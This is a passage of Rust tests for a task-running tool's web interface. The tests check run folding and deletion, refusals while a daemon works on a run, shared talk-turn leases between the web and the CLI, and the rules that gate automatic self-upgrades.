23187
23188 assert_eq!(
23189 body.matches("renderStatsQueue(").count(),
23190 1,
23191 "renderStats must call renderStatsQueue exactly once: {body}"
23192 );
23193 assert!(
23194 !gated.contains("renderStatsQueue"),
23195 "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
23196 run-derived panels on an empty run history - the queue panel has to render \
23197 regardless: {gated}"
23198 );
23199 }
23200
23201 #[test]
23202 fn web_ui_delete_contract_in_front_end() {
23203 assert!(APP_JS.contains("deleteRun:"));
23205 assert!(APP_JS.contains("deleteTask:"));
23206
23207 let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
23209 ..APP_JS.find("function renderRuns").unwrap()];
23210 assert!(!run_cards_slice.to_lowercase().contains("delete"));
23211
23212 assert!(APP_JS.contains("renderRunDelete"));
23214 assert!(APP_JS.contains("runDeleteReason"));
23215 assert!(APP_JS.contains("magi fold"));
23216 assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
23217
23218 assert!(APP_JS.contains("cancel.focus"));
23220 assert!(APP_JS.contains("armedRunDelete"));
23221 assert!(APP_JS.contains("renderTaskDeleteBox"));
23222 assert!(APP_JS.contains("armed${cap(key)}"));
23223
23224 assert!(APP_JS.contains("disabled: status === \"running\""));
23226 }
23227
23228 #[test]
23248 fn every_ref_a_run_card_uses_is_one_its_builder_published() {
23249 let build = APP_JS
23250 .find("function createRunCard")
23251 .expect("createRunCard exists");
23252 let update = APP_JS
23253 .find("function updateRunCard")
23254 .expect("updateRunCard exists");
23255 let end = APP_JS
23256 .find("function renderRuns")
23257 .expect("renderRuns exists");
23258
23259 let builder = &APP_JS[build..update];
23261 let open = builder.find("refs = {").expect("createRunCard sets refs");
23262 let literal = &builder[open + "refs = {".len()..];
23263 let close = literal.find('}').expect("the refs literal is closed");
23264 let published: HashSet<&str> = literal[..close]
23265 .split(',')
23266 .filter_map(|entry| entry.split(':').next())
23268 .map(str::trim)
23269 .filter(|name| !name.is_empty())
23270 .collect();
23271 assert!(
23272 published.len() > 5,
23273 "the refs literal did not parse into names: {published:?}"
23274 );
23275
23276 let mut used: Vec<&str> = Vec::new();
23279 let updaters = &APP_JS[update..end];
23280 for (at, _) in updaters.match_indices("r.") {
23281 let before = updaters[..at].chars().next_back();
23284 if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
23285 continue;
23286 }
23287 let rest = &updaters[at + 2..];
23288 let len = rest
23289 .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
23290 .unwrap_or(rest.len());
23291 if len > 0 {
23292 used.push(&rest[..len]);
23293 }
23294 }
23295 assert!(
23296 used.len() > 5,
23297 "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
23298 );
23299
23300 let missing: Vec<&str> = used
23301 .iter()
23302 .copied()
23303 .filter(|name| !published.contains(name))
23304 .collect();
23305 assert!(
23306 missing.is_empty(),
23307 "a run card's updater reaches for {missing:?}, which `createRunCard` \
23308 never put in `refs` - every card will throw and the list will \
23309 render empty under a count line that says otherwise. Published: \
23310 {published:?}"
23311 );
23312 }
23313
23314 #[tokio::test]
23315 async fn folding_from_the_phone_reports_what_it_removed() {
23316 let fx = Fixture::start().await;
23317 let runs = fx.runs();
23318
23319 let id = "20260901-000000-fold";
23323 write_run(&runs, id, RunStatus::Stalled);
23324 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
23325 assert_eq!(res.status, 200);
23326 assert_eq!(res.json()["removed_count"], 0);
23327 assert_eq!(res.json()["run"], id);
23328 assert!(
23329 runs.join(id).exists(),
23330 "a fold keeps the run's record; only the worktrees go"
23331 );
23332 }
23333
23334 #[tokio::test]
23335 async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
23336 let fx = Fixture::start().await;
23337 let runs = fx.runs();
23338 let wt = fx.home.path().join("wt").join("magi").join("dead");
23339 let id = "20260901-000000-dead";
23340 std::fs::create_dir_all(runs.join(id)).expect("run dir");
23341 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
23342 std::fs::create_dir_all(&wt).expect("worktree dir");
23343
23344 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
23345 assert_eq!(res.status, 200, "{}", res.body);
23346 assert!(
23347 res.json()["removed_count"].as_u64().unwrap() > 0,
23348 "the worktree this build could not read a state for still went"
23349 );
23350 assert!(
23351 !runs.join(id).exists(),
23352 "an unreadable run has no candidate list to fold selectively, so \
23353 the whole record goes - same as `magi fold` on the CLI"
23354 );
23355 }
23356
23357 #[tokio::test]
23358 async fn deleting_an_unreadable_run_removes_it_wholesale() {
23359 let fx = Fixture::start().await;
23360 let runs = fx.runs();
23361 let wt = fx.home.path().join("wt").join("magi").join("gone");
23362 let id = "20260901-000000-gone";
23363 std::fs::create_dir_all(runs.join(id)).expect("run dir");
23364 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
23365 std::fs::create_dir_all(&wt).expect("worktree dir");
23366
23367 let res = fx.delete(&format!("/api/runs/{id}")).await;
23368 assert_eq!(res.status, 204, "{}", res.body);
23369 assert!(!runs.join(id).exists(), "the broken record is gone");
23370 assert!(!wt.exists(), "its worktree is gone too");
23371 }
23372
23373 #[tokio::test]
23374 async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
23375 let fx = Fixture::start().await;
23376 let runs = fx.runs();
23377 let id = "20260901-000000-live";
23378 write_run(&runs, id, RunStatus::Implementing);
23379
23380 let mut beat = crate::daemon::Status::new();
23381 beat.current = vec![crate::daemon::Current {
23382 worker: None,
23383 task: "20260901-000000-task".to_owned(),
23384 run: id.to_owned(),
23385 }];
23386 beat.updated_at = jiff::Timestamp::now();
23387 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
23388 .expect("publish a heartbeat");
23389
23390 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
23391 assert_eq!(res.status, 409);
23392 assert!(
23393 res.json()["error"]
23394 .as_str()
23395 .unwrap()
23396 .contains("live daemon"),
23397 "folding under a running agent would pull its worktree away"
23398 );
23399 }
23400
23401 #[tokio::test]
23402 async fn fold_merged_requires_a_pr_url() {
23403 let fx = Fixture::start().await;
23404 let runs = fx.runs();
23405 let id = "20260901-000000-nourl";
23406 write_run(&runs, id, RunStatus::Blocked);
23407
23408 let res = fx
23409 .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
23410 .await;
23411 assert_eq!(res.status, 400, "{}", res.body);
23412
23413 let blank = fx
23414 .post(
23415 &format!("/api/runs/{id}/fold-merged"),
23416 Some(r#"{"pr_url":" "}"#),
23417 )
23418 .await;
23419 assert_eq!(blank.status, 400, "{}", blank.body);
23420 }
23421
23422 #[tokio::test]
23423 async fn fold_merged_is_404_for_an_unknown_run() {
23424 let fx = Fixture::start().await;
23425 let res = fx
23426 .post(
23427 "/api/runs/nosuchrun/fold-merged",
23428 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
23429 )
23430 .await;
23431 assert_eq!(res.status, 404, "{}", res.body);
23432 }
23433
23434 #[tokio::test]
23435 async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
23436 let fx = Fixture::start().await;
23437 let runs = fx.runs();
23438 let id = "20260901-000000-livemerge";
23439 write_run(&runs, id, RunStatus::Blocked);
23440
23441 let mut beat = crate::daemon::Status::new();
23442 beat.current = vec![crate::daemon::Current {
23443 worker: None,
23444 task: "20260901-000000-task".to_owned(),
23445 run: id.to_owned(),
23446 }];
23447 beat.updated_at = jiff::Timestamp::now();
23448 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
23449 .expect("publish a heartbeat");
23450
23451 let res = fx
23452 .post(
23453 &format!("/api/runs/{id}/fold-merged"),
23454 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
23455 )
23456 .await;
23457 assert_eq!(res.status, 409, "{}", res.body);
23458 assert!(
23459 res.json()["error"]
23460 .as_str()
23461 .unwrap()
23462 .contains("live daemon"),
23463 "correcting a run's merge underneath a running agent would race \
23464 whatever it is doing to the same `status`/`merge` fields"
23465 );
23466 }
23467
23468 #[tokio::test]
23473 async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
23474 let fx = Fixture::start().await;
23475 let runs = fx.runs();
23476 let id = "20260901-000000-unconfirmed";
23477 write_run(&runs, id, RunStatus::Blocked);
23478
23479 let res = fx
23480 .post(
23481 &format!("/api/runs/{id}/fold-merged"),
23482 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
23483 )
23484 .await;
23485 assert_eq!(res.status, 400, "{}", res.body);
23486 assert_eq!(
23487 read_run(&runs, id).unwrap().status,
23488 RunStatus::Blocked,
23489 "a pull request that could not be confirmed merged must leave \
23490 the run exactly where it was"
23491 );
23492 }
23493
23494 #[tokio::test]
23495 async fn terminal_runs_cannot_be_resumed() {
23496 let fx = Fixture::start().await;
23497 let runs = fx.runs();
23498
23499 for (status, word) in [
23500 (RunStatus::Merged, "merged"),
23501 (RunStatus::Ready, "ready"),
23502 (RunStatus::Failed, "failed"),
23503 ] {
23504 let id = format!("20260901-000000-{}", &word[..4]);
23505 write_run(&runs, &id, status);
23506 let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
23507 assert_eq!(res.status, 409, "{word} must not be resumable");
23508 }
23509 }
23510
23511 #[tokio::test]
23512 async fn resume_is_refused_while_the_loop_is_running() {
23513 let fx = Fixture::start().await;
23514 let runs = fx.runs();
23515 let stalled = "20260901-000000-stal";
23516 write_run(&runs, stalled, RunStatus::Stalled);
23517
23518 let mut beat = crate::daemon::Status::new();
23522 beat.current = vec![crate::daemon::Current {
23523 worker: None,
23524 task: "20260901-000000-task".to_owned(),
23525 run: "20260901-000000-othr".to_owned(),
23526 }];
23527 beat.updated_at = jiff::Timestamp::now();
23528 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
23529 .expect("publish a heartbeat");
23530
23531 let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
23532 assert_eq!(res.status, 409);
23533 let err = res.json()["error"].as_str().unwrap().to_owned();
23534 assert!(err.contains("othr"), "it names what the loop is on: {err}");
23535 assert!(err.contains("stop it first"), "{err}");
23536 }
23537
23538 #[test]
23539 fn a_run_cannot_be_resumed_twice_at_once() {
23540 let home = TempDir::new().expect("temp home");
23541 let ui = Ui::new(
23542 Queue::at(home.path().join("queue")),
23543 Questions::at(home.path().join("questions")),
23544 Talks::at(home.path().join("talks")),
23545 home.path().join("runs"),
23546 home.path().to_path_buf(),
23547 PathBuf::from("/repo"),
23548 )
23549 .with_worktrees_root(home.path().join("wt"));
23550 let first = ui.begin_resume("20260901-000000-once").expect("claimed");
23551 let again = ui.begin_resume("20260901-000000-once");
23552 assert!(again.is_err(), "a second tap must not start a second graph");
23553 drop(first);
23554 assert!(
23555 ui.begin_resume("20260901-000000-once").is_ok(),
23556 "and the claim is released when the attempt ends"
23557 );
23558 }
23559
23560 #[test]
23561 fn talk_thinking_tracks_only_its_held_turn_claim() {
23562 let home = TempDir::new().expect("temp home");
23563 let ui = Ui::new(
23564 Queue::at(home.path().join("queue")),
23565 Questions::at(home.path().join("questions")),
23566 Talks::at(home.path().join("talks")),
23567 home.path().join("runs"),
23568 home.path().to_path_buf(),
23569 PathBuf::from("/repo"),
23570 )
23571 .with_worktrees_root(home.path().join("wt"));
23572 let id = "20260901-000000-once";
23573
23574 assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
23575 let turn = ui.begin_talk_turn(id).expect("claim turn");
23576 assert!(ui.is_thinking(id), "the held guard is reported as thinking");
23577 assert!(
23578 !ui.is_thinking("20260901-000000-other"),
23579 "one talk's turn does not make another talk busy"
23580 );
23581 drop(turn);
23582 assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
23583 }
23584
23585 #[test]
23586 fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
23587 let home = TempDir::new().expect("temp home");
23588 let talks = Talks::at(home.path().join("talks"));
23589 let ui = Ui::new(
23590 Queue::at(home.path().join("queue")),
23591 Questions::at(home.path().join("questions")),
23592 talks.clone(),
23593 home.path().join("runs"),
23594 home.path().to_path_buf(),
23595 PathBuf::from("/repo"),
23596 )
23597 .with_worktrees_root(home.path().join("wt"));
23598 let id = "20260901-000000-cross";
23599
23600 let other = Talks::at(home.path().join("talks"))
23601 .claim_turn(id)
23602 .expect("claim")
23603 .expect("the other process wins");
23604 assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
23605 assert!(ui.begin_talk_turn(id).expect("claim").is_none());
23606 assert!(
23607 matches!(
23608 ui.begin_talk_turn_unless_pending(id).expect("start"),
23609 TalkTurnStart::Foreign
23610 ),
23611 "a foreign holder is refused, not queued behind"
23612 );
23613 assert!(
23614 !ui.talk_turns.lock().unwrap().live.contains(id),
23615 "a refused claim leaves no in-process entry behind"
23616 );
23617 drop(other);
23618 let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
23619 assert!(talks.turn_held(id), "the web turn holds the lease");
23620 drop(turn);
23621 assert!(
23622 !talks.turn_held(id),
23623 "dropping the guard releases the lease"
23624 );
23625 }
23626
23627 fn consult_question(ui: &Ui) -> Question {
23628 let mut q = Question::new(
23629 "20260901-000000-consult".to_owned(),
23630 "implement".to_owned(),
23631 "impl-A".to_owned(),
23632 "Which backend?".to_owned(),
23633 String::new(),
23634 vec!["SQLite".to_owned(), "Redis".to_owned()],
23635 );
23636 ui.questions.put(&mut q).expect("question");
23637 q
23638 }
23639
23640 fn consult_snapshot(ui: &Ui, q: &Question, id: &str) -> (Vec<u8>, Vec<u8>) {
23641 (
23642 std::fs::read(ui.questions.path_of(&q.id)).expect("question snapshot"),
23643 std::fs::read(ui.talks.path_of(id)).expect("talk snapshot"),
23644 )
23645 }
23646
23647 #[tokio::test]
23648 async fn consult_cli_starter_is_refused_while_web_holds_the_turn() {
23649 let (_tmp, _home, ui, id, _repo) = avatar_fixture("").await;
23650 let q = consult_question(&ui);
23651 let talk = ui.talks.get(&id).expect("talk");
23652 let guard = ui.begin_talk_turn(&id).expect("web claim").expect("free");
23653 let before = consult_snapshot(&ui, &q, &id);
23654 let cli_talks = Talks::at(ui.home.join("talks"));
23655 assert_eq!(
23656 crate::consult::start_turn(&ui.questions, &cli_talks, &q, &talk, &stub_config())
23657 .await
23658 .expect("CLI starter"),
23659 crate::consult::Started::Busy
23660 );
23661 assert_eq!(consult_snapshot(&ui, &q, &id), before);
23662 assert!(ui.is_thinking(&id));
23663 drop(guard);
23664 assert!(cli_talks.claim_turn(&id).expect("claim").is_some());
23665 }
23666
23667 #[tokio::test]
23668 async fn web_starter_is_refused_while_consult_cli_runs_the_turn() {
23669 let (tmp, _home, ui, id, _repo) = avatar_fixture("").await;
23670 let q = consult_question(&ui);
23671 let talk = ui.talks.get(&id).expect("talk");
23672 let started = tmp.path().join("started");
23673 let release = tmp.path().join("release");
23674 let script = tmp.path().join("consult-agent.sh");
23675 std::fs::write(
23676 &script,
23677 "cat >/dev/null\n: > \"$STARTED\"\ni=0\nwhile [ ! -f \"$RELEASE\" ]; do\n i=$((i + 1))\n [ \"$i\" -lt 3000 ] || exit 7\n sleep 0.01\ndone\nprintf ok\n",
23678 )
23679 .expect("script");
23680 let mut cfg = stub_config();
23681 cfg.agents[0].id = "mock".to_owned();
23682 cfg.agents[0].command = vec!["sh".to_owned(), script.to_string_lossy().into_owned()];
23683 cfg.agents[0].env = std::collections::BTreeMap::from([
23684 ("STARTED".to_owned(), started.to_string_lossy().into_owned()),
23685 ("RELEASE".to_owned(), release.to_string_lossy().into_owned()),
23686 ]);
23687 let questions = ui.questions.clone();
23688 let cli_talks = Talks::at(ui.home.join("talks"));
23689 let cli_q = q.clone();
23690 let turn = tokio::spawn(async move {
23691 crate::consult::start_turn(&questions, &cli_talks, &cli_q, &talk, &cfg).await
23692 });
23693 let ready = tokio::time::timeout(Duration::from_secs(30), async {
23694 while !started.exists() {
23695 tokio::time::sleep(Duration::from_millis(10)).await;
23696 }
23697 })
23698 .await;
23699 let refusal = if ready.is_ok() {
23702 let before = consult_snapshot(&ui, &q, &id);
23703 let result = talk_say(
23704 State(Arc::clone(&ui)),
23705 Path(id.clone()),
23706 Ok(Json(NewTalkTurn {
23707 reply_to: None,
23708 text: "another message".to_owned(),
23709 attachments: Vec::new(),
23710 })),
23711 )
23712 .await;
23713 Some((result, before, consult_snapshot(&ui, &q, &id)))
23714 } else {
23715 None
23716 };
23717 std::fs::write(&release, "").expect("release agent");
23718 let done = turn.await.expect("join CLI turn");
23719 ready.expect("agent started before deadline");
23720 let (result, before, after) = refusal.expect("web request");
23721 let error = result.expect_err("web must refuse the CLI's turn");
23722 assert_eq!(error.status, StatusCode::CONFLICT);
23723 assert!(error.message.contains("a turn is already running"));
23724 assert_eq!(
23725 after, before,
23726 "refusal preserves question, draft and history"
23727 );
23728 assert_eq!(done.expect("CLI turn"), crate::consult::Started::Answered);
23729 let guard = ui
23730 .begin_talk_turn(&id)
23731 .expect("web claim")
23732 .expect("free again");
23733 drop(guard);
23734 }
23735
23736 #[test]
23737 fn a_dropped_guard_releases_the_lease_before_the_in_process_slot() {
23738 let home = TempDir::new().expect("temp home");
23739 let talks = Talks::at(home.path().join("talks"));
23740 let ui = Ui::new(
23741 Queue::at(home.path().join("queue")),
23742 Questions::at(home.path().join("questions")),
23743 talks.clone(),
23744 home.path().join("runs"),
23745 home.path().to_path_buf(),
23746 PathBuf::from("/repo"),
23747 )
23748 .with_worktrees_root(home.path().join("wt"));
23749 let id = "20260901-000000-order";
23750 let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
23751 let slots = ui.talk_turns.lock().unwrap();
23753 let dropper = std::thread::spawn(move || drop(turn));
23754 let start = std::time::Instant::now();
23755 while talks.turn_held(id) && start.elapsed() < Duration::from_secs(5) {
23756 std::thread::sleep(Duration::from_millis(5));
23757 }
23758 assert!(!talks.turn_held(id), "the lease is released first");
23759 assert!(slots.live.contains(id), "the slot is still held meanwhile");
23760 drop(slots);
23761 dropper.join().expect("join");
23762 assert!(!ui.talk_turns.lock().unwrap().live.contains(id));
23763 }
23764
23765 #[tokio::test]
23766 async fn an_upgrade_is_refused_for_a_legacy_scheduler() {
23767 let fx = Fixture::start().await;
23768 let mut beat = crate::daemon::Status::new();
23769 beat.worker_protocol = None;
23770 beat.pid = 4321;
23771 beat.updated_at = jiff::Timestamp::now();
23772 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
23773 .expect("publish a heartbeat");
23774
23775 let res = fx.post("/api/upgrade", None).await;
23776 assert_eq!(res.status, 409);
23777 }
23778
23779 #[test]
23786 fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
23787 assert!(!should_spawn_recheck(&crate::config::Update {
23788 mode: UpdateMode::Off,
23789 interval: None,
23790 auto_restart: false,
23791 }));
23792
23793 unsafe {
23796 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
23797 }
23798 let killed = should_spawn_recheck(&crate::config::Update {
23799 mode: UpdateMode::Notify,
23800 interval: None,
23801 auto_restart: false,
23802 });
23803 unsafe {
23804 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
23805 }
23806 assert!(
23807 !killed,
23808 "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
23809 one-time startup check"
23810 );
23811
23812 assert!(should_spawn_recheck(&crate::config::Update {
23813 mode: UpdateMode::Notify,
23814 interval: None,
23815 auto_restart: false,
23816 }));
23817 }
23818
23819 #[test]
23825 fn recheck_poll_period_tracks_a_short_configured_interval() {
23826 let short = crate::config::Update {
23827 mode: UpdateMode::Notify,
23828 interval: Some("1m".to_owned()),
23829 auto_restart: false,
23830 };
23831 let period = recheck_poll_period(&short);
23832 assert!(
23833 period <= Duration::from_secs(30),
23834 "a one-minute interval must wake the task far sooner than the \
23835 default ceiling, or the deck would not notice within the \
23836 interval the operator configured: got {period:?}"
23837 );
23838
23839 let default = crate::config::Update {
23840 mode: UpdateMode::Notify,
23841 interval: None,
23842 auto_restart: false,
23843 };
23844 assert_eq!(
23845 recheck_poll_period(&default),
23846 UPDATE_RECHECK_POLL_MAX,
23847 "the default day-long interval should poll at the (capped) \
23848 ceiling rather than needlessly often"
23849 );
23850 }
23851
23852 #[test]
23860 fn recheck_skips_the_network_before_the_interval_elapses() {
23861 let dir = TempDir::new().expect("temp dir");
23862 let path = dir.path().join("state.json");
23863 let state = kaishin::UpdateCheckState {
23864 last_checked_unix: jiff::Timestamp::now().as_second() as u64,
23865 last_known_latest: None,
23866 last_known_url: None,
23867 };
23868 kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
23869
23870 let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
23871 assert!(
23872 !update_recheck_due(&checker, None),
23873 "a check made moments ago must not be repeated before the \
23874 configured interval elapses"
23875 );
23876 }
23877
23878 #[test]
23884 fn recheck_defers_to_an_upgrade_already_in_flight() {
23885 let dir = TempDir::new().expect("temp dir");
23886 let path = dir.path().join("state.json");
23887 let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
23888 let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
23889
23890 assert!(
23891 !update_recheck_due(&checker, Some(&progress)),
23892 "a recheck must not run while an upgrade this deck started is \
23893 still moving"
23894 );
23895 }
23896
23897 #[tokio::test]
23898 async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
23899 unsafe {
23911 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
23912 }
23913 let fx = Fixture::start().await;
23914 let res = fx.post("/api/upgrade", None).await;
23915 unsafe {
23916 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
23917 }
23918 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
23919 let body = res.json();
23920 assert!(body["to"].is_null(), "there was no release to move to");
23921 assert!(body["parked"].is_null(), "and nothing was parked");
23922 assert!(
23923 body["detail"]
23924 .as_str()
23925 .unwrap()
23926 .contains("disabled by MAGI_NO_AUTOUPDATE"),
23927 "{body:?}"
23928 );
23929 }
23930
23931 #[test]
23932 fn auto_upgrade_decision_respects_policy_work_and_failed_tags() {
23933 use AutoUpgradeDecision::{Skip, Trigger, Wait};
23934 let mut cfg = Update::default();
23935 assert!(matches!(
23936 auto_upgrade_decision(&cfg, false, false, false, "v2", None),
23937 Skip(_)
23938 ));
23939 cfg.auto_restart = true;
23940 assert_eq!(
23941 auto_upgrade_decision(&cfg, false, false, false, "v2", None),
23942 Trigger
23943 );
23944 assert_eq!(
23945 auto_upgrade_decision(&cfg, false, false, true, "v2", None),
23946 Wait
23947 );
23948 for (disabled, moving, failed) in [
23949 (true, false, None),
23950 (false, true, None),
23951 (false, false, Some("v2")),
23952 ] {
23953 assert!(matches!(
23954 auto_upgrade_decision(&cfg, disabled, moving, false, "v2", failed),
23955 Skip(_)
23956 ));
23957 }
23958 assert_eq!(
23959 auto_upgrade_decision(&cfg, false, false, false, "v3", Some("v2")),
23960 Trigger
23961 );
23962 cfg.mode = UpdateMode::Off;
23963 assert!(matches!(
23964 auto_upgrade_decision(&cfg, false, false, false, "v2", None),
23965 Skip(_)
23966 ));
23967 }
23968
23969 #[test]
23970 fn auto_upgrade_waits_for_detached_workers_but_not_the_scheduler() {
23971 let home = TempDir::new().unwrap();
23972 let ui = idle_ui(&home);
23973 assert!(!ui.auto_upgrade_busy());
23974 let directory = home.path().join("workers/jobs/abcdef");
23975 std::fs::create_dir_all(&directory).unwrap();
23976 let mut job = crate::worker::Job {
23977 id: "abcdef".into(),
23978 sequence: 1,
23979 kind: "scheduler".into(),
23980 key: "scheduler".into(),
23981 payload: serde_json::json!({}),
23982 generation: "test".into(),
23983 version: None,
23984 status: crate::worker::Status::Running,
23985 result: None,
23986 pid: None,
23987 created_at: 0,
23988 finished_at: None,
23989 };
23990 let lease = crate::worker::execution_lease_for_test(&directory.join("live.lock"));
23991 let write = |job: &crate::worker::Job| {
23992 std::fs::write(directory.join("job.json"), serde_json::to_vec(job).unwrap()).unwrap();
23993 };
23994 write(&job);
23995 assert!(!ui.auto_upgrade_busy(), "an idle scheduler permits updates");
23996 for kind in ["task", "chat"] {
23997 job.kind = kind.into();
23998 write(&job);
23999 assert!(ui.auto_upgrade_busy(), "a detached {kind} defers updates");
24000 }
24001 drop(lease);
24002 assert!(
24006 !ui.auto_upgrade_busy(),
24007 "completed execution permits updates"
24008 );
24009 std::fs::create_dir_all(home.path().join("workers/jobs/bad")).unwrap();
24010 assert!(
24011 ui.auto_upgrade_busy(),
24012 "unreadable worker state defers updates"
24013 );
24014 }
24015
24016 fn fail_test_upgrade(_: PathBuf) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
24017 Box::pin(async { anyhow::bail!("test installer failed") })
24018 }
24019
24020 #[tokio::test]
24021 async fn auto_upgrade_uses_shared_progress_and_failure_cleanup_only_when_idle() {
24022 let home = TempDir::new().unwrap();
24023 std::fs::write(
24024 home.path().join("magi.toml"),
24025 "[update]\nauto_restart = true\n",
24026 )
24027 .unwrap();
24028 let mut ui = idle_ui(&home);
24029 ui.repo = home.path().to_path_buf();
24030 ui.upgrade_runner = fail_test_upgrade;
24032 let ui = Arc::new(ui);
24033 let latest = || {
24034 Some(kaishin::LatestRelease {
24035 tag_name: "v999.0.0".into(),
24036 html_url: String::new(),
24037 })
24038 };
24039 ui.talk_turns.lock().unwrap().live.insert("busy".into());
24040 assert_eq!(
24041 begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
24042 .await
24043 .status(),
24044 StatusCode::NO_CONTENT
24045 );
24046 assert!(updater::read_progress(home.path()).is_none());
24047 ui.talk_turns.lock().unwrap().live.clear();
24048 let gate = ui.upgrade_gate.lock().await;
24049 assert_eq!(
24050 begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
24051 .await
24052 .status(),
24053 StatusCode::CONFLICT
24054 );
24055 drop(gate);
24056 assert_eq!(
24057 begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
24058 .await
24059 .status(),
24060 StatusCode::ACCEPTED
24061 );
24062 let progress = updater::read_progress(home.path()).unwrap();
24063 assert_eq!(progress.trigger, updater::UpgradeTrigger::Auto);
24064 assert_eq!(progress.stage, updater::Stage::Downloading);
24065 assert!(progress.parked_run.is_none());
24066 assert!(ui.start_detached_loop().await.is_err());
24067 assert!(ui.start_loop(None).is_err());
24068 assert!(ui.begin_resume("late").is_err());
24069 tokio::time::timeout(Duration::from_secs(2), async {
24070 while ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
24071 tokio::task::yield_now().await;
24072 }
24073 })
24074 .await
24075 .unwrap();
24076 let progress = updater::read_progress(home.path()).unwrap();
24077 assert_eq!(progress.stage, updater::Stage::Failed);
24078 assert_eq!(
24079 begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
24080 .await
24081 .status(),
24082 StatusCode::NO_CONTENT
24083 );
24084 let result = upgrade_checked(&ui, "old".into(), Ok(latest()));
24086 assert_eq!(
24087 finish_upgrade_request(&ui, result).status(),
24088 StatusCode::ACCEPTED
24089 );
24090 assert_eq!(
24091 updater::read_progress(home.path()).unwrap().trigger,
24092 updater::UpgradeTrigger::Manual
24093 );
24094 tokio::time::timeout(Duration::from_secs(2), async {
24095 while ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
24096 tokio::task::yield_now().await;
24097 }
24098 })
24099 .await
24100 .unwrap();
24101 }
24102
24103 fn seeded_progress(stage: crate::updater::Stage) -> crate::updater::Progress {
24104 let mut p = crate::updater::Progress::new("0.1.0".into(), "v0.2.0".into());
24105 p.stage = stage;
24106 p
24107 }
24108
24109 #[test]
24110 fn busy_stages_match_the_ui_set() {
24111 use crate::updater::Stage;
24112 assert!(APP_JS.contains(
24113 "UPGRADE_BUSY_STAGES = new Set([\"downloading\", \"replaced\", \"parking\", \"restarting\"])"
24114 ));
24115 for s in [
24116 Stage::Downloading,
24117 Stage::Replaced,
24118 Stage::Parking,
24119 Stage::Restarting,
24120 ] {
24121 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_some());
24122 }
24123 for s in [Stage::Done, Stage::Failed] {
24124 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_none());
24125 }
24126 assert!(upgrade_in_motion(None).is_none());
24127 }
24128
24129 #[tokio::test]
24130 async fn a_second_upgrade_during_a_busy_stage_is_refused_and_changes_nothing() {
24131 use crate::updater::Stage;
24132 for stage in [
24133 Stage::Downloading,
24134 Stage::Replaced,
24135 Stage::Parking,
24136 Stage::Restarting,
24137 ] {
24138 let fx = Fixture::start().await;
24139 let seeded = seeded_progress(stage);
24140 crate::updater::write_progress(fx.home.path(), &seeded).expect("seed");
24141 let before = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
24142 .expect("read");
24143
24144 let res = fx.post("/api/upgrade", None).await;
24145 assert_eq!(res.status, 409, "{stage:?}");
24146 let err = res.json()["error"].as_str().unwrap().to_owned();
24147 assert!(err.contains("already in progress"), "{err}");
24148 assert!(err.contains(stage.as_str()), "{err}");
24149
24150 let after = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
24151 .expect("read");
24152 assert_eq!(before, after, "{stage:?}: upgrade.json is untouched");
24153 let log = std::fs::read_to_string(crate::updater::log_path(fx.home.path()))
24154 .unwrap_or_default();
24155 assert!(!log.contains("signalling HANDOVER"), "{log}");
24156 }
24157 }
24158
24159 #[test]
24160 fn upgrade_retry_timing_only_parses_known_diagnostics() {
24161 assert_eq!(
24162 upgrade_retry_after("GitHub API rate limit exceeded (resets in 1h 2m 3s). Use a token"),
24163 Some(3723)
24164 );
24165 assert_eq!(
